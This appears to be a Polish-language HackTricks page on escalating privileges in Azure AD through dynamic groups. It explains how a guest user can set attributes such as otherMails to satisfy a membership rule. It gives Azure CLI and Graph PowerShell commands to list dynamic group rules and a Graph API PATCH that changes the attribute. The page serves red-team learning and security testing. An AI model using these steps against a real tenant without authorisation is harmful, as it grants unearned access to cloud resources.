Az - Dynamic Groups Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podstawowe informacje

Dynamic groups to grupy, dla których skonfigurowano zestaw reguł, i wszyscy użytkownicy lub urządzenia spełniający te reguły są dodawani do grupy. Za każdym razem, gdy atrybut użytkownika lub urządzenia zostanie zmieniony, reguły dynamiczne są ponownie sprawdzane. A kiedy zostanie utworzona nowa reguła, wszystkie urządzenia i użytkownicy są sprawdzani.

Do Dynamic groups można przypisać Azure RBAC roles, ale nie jest możliwe dodanie AzureAD roles do Dynamic groups.

Ta funkcja wymaga licencji Azure AD premium P1.

Privesc

Zwróć uwagę, że domyślnie każdy użytkownik może zapraszać gości w Azure AD, więc jeśli reguła Dynamic groups nadaje uprawnienia użytkownikom na podstawie atrybutów, które można ustawić w nowym gościu, możliwe jest utworzenie gościa z tymi atrybutami i eskalacja uprawnień. Gość może również zarządzać swoim profilem i zmieniać te atrybuty.

Pobierz grupy, które pozwalają na Dynamic membership: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Enumeracja Dynamic Groups

Pobierz reguły Dynamic groups:

Przy użyciu Azure CLI:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

Za pomocą PowerShell i Microsoft Graph SDK:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Przykład

  • Przykład reguły: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Opis reguły: Każdy użytkownik typu Guest, który ma dodatkowy adres e-mail zawierający ciąg ‘security’, zostanie dodany do grupy

Dla adresu e-mail użytkownika typu Guest, zaakceptuj zaproszenie i sprawdź bieżące ustawienia tego użytkownika w https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Niestety strona nie pozwala na modyfikację wartości atrybutów, więc musimy użyć API:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks